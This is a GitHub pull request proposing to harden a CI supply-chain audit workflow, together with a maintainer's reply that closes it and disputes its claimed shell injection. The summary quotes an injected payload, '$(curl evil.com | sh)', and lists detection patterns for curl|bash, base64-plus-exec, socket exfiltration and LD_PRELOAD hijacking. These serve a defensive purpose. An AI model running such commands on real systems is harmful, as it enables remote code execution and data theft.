fix(ci): harden supply chain audit — close bypass vectors, prevent shell injection - #2858
fix(ci): harden supply chain audit — close bypass vectors, prevent shell injection#28580xbyt4 wants to merge 3 commits into
Conversation
…ell injection P0 fixes: - Shell injection: use --body-file instead of double-quoted $BODY in gh pr comment. Add sanitize() to strip shell metacharacters from attacker-controlled diff content. - Multi-line base64+exec bypass: detect base64.b64decode and exec/eval within a 5-line bi-directional proximity window, not just same-line. New critical checks: - curl|bash / wget|sh (Trivy CI attack vector) - os.execv/execve/execvp/execl family - compile() in proximity detection (code object injection) - .pyc/.pyo/.so/.dll/.dylib binary files New warning checks: - ctypes/cffi native code loading - aiohttp, socket.connect, http.client exfiltration - PYTHONSTARTUP, LD_PRELOAD, NODE_OPTIONS env hijack - .gitmodules, .gitattributes, pre-commit config - Dockerfile/docker-compose changes - npm lifecycle scripts (preinstall/postinstall) - URL-based and unpinned dependencies - pyproject.toml cmdclass/entry_points/scripts - Cron persistence Hardening: - Pin ubuntu-24.04 instead of ubuntu-latest - Pass GitHub context via env: to prevent expression injection - Add concurrency group - Exclude known security guard files from sensitive path warnings Ref: BerriAI/litellm#24512
- Exclude supply-chain-audit.yml from diff pattern scan to prevent false positives (grep patterns for base64/exec/subprocess match against themselves). Still warns when the workflow is modified. - Add continue-on-error to comment step for fork PRs that lack pull-requests:write permission.
If supply-chain-audit.yml itself is modified, the PR must be blocked and reviewed manually. The workflow is excluded from pattern scanning (to avoid false positives), so without this an attacker could hide a payload in the workflow file and bypass all checks.
|
This PR modifies the audit workflow itself, so CI will self-flag as CRITICAL , this is expected and intentional (the new behavior we're adding). The workflow excludes itself from pattern scanning to avoid false positives, so any modification requires manual review. |
|
merge conflicts This PR does not merge cleanly with the base branch. Please rebase or merge current Signed: GPT-5.5-medium in Codex |
|
Thanks for the careful work here, and for digging into supply-chain hardening — but we're going to close this one, for three reasons. 1. The bulk of the additions run against the scanner's design intent. Since this PR was opened, the workflow was deliberately rewritten into a ruthlessly narrow, high-signal scanner. Its header comment is explicit:
Most of this PR (ctypes/cffi, aiohttp/socket/http.client, 2. The P0 "shell injection" isn't real. 3. The architecture changed. The base here is ~10,700 commits behind The one technically-accurate point — the same-line Appreciate the effort and the security mindset. If you want to pursue the advisory-only-workflow path described in the header comment, that's a welcome direction. |
Summary
The existing
supply-chain-audit.yml(merged in #2816) has two critical vulnerabilities and several missing checks. This PR hardens it.P0: Shell injection in PR comment step
Attacker-controlled diff content (e.g.
$(curl evil.com | sh)) was interpolated into a double-quoted bash string via--body "$BODY". Replaced with--body-fileand added asanitize()function that strips shell metacharacters.P0: Multi-line base64+exec bypass
Putting
base64.b64decode()andexec()on separate lines downgraded a PR-blocking CRITICAL to a non-blocking WARNING. Added proximity-based detection (5-line bi-directional window) that catches both orderings.New critical checks
curl | bash/wget | sh(how Trivy CI was compromised)os.execv/execve/execvp/execlfamily (missing from os.system check)compile()in proximity detection (code object injection pattern).pyc/.pyo/.so/.dll/.dylibbinary file additionsNew warning checks
ctypes.CDLL/cffinative code loadingaiohttp.ClientSession,socket.connect,http.client(expanded exfiltration)PYTHONSTARTUP,LD_PRELOAD,NODE_OPTIONSenv hijack vectors.gitmodules,.gitattributes,.pre-commit-config.yamlmodificationsDockerfile/docker-composechangespreinstall,postinstall)git+https://,http://*.tar.gz)pyproject.tomlcmdclass/entry_points/scriptschangesHardening
ubuntu-24.04instead ofubuntu-latestbase.sha,head.sha,number) viaenv:instead of${{ }}expressions to prevent expression injectionconcurrencygroup to prevent parallel run abusefile_operations.py,skills_guard.py, etc.) from sensitive-path false positivesTest plan
Ref: BerriAI/litellm#24512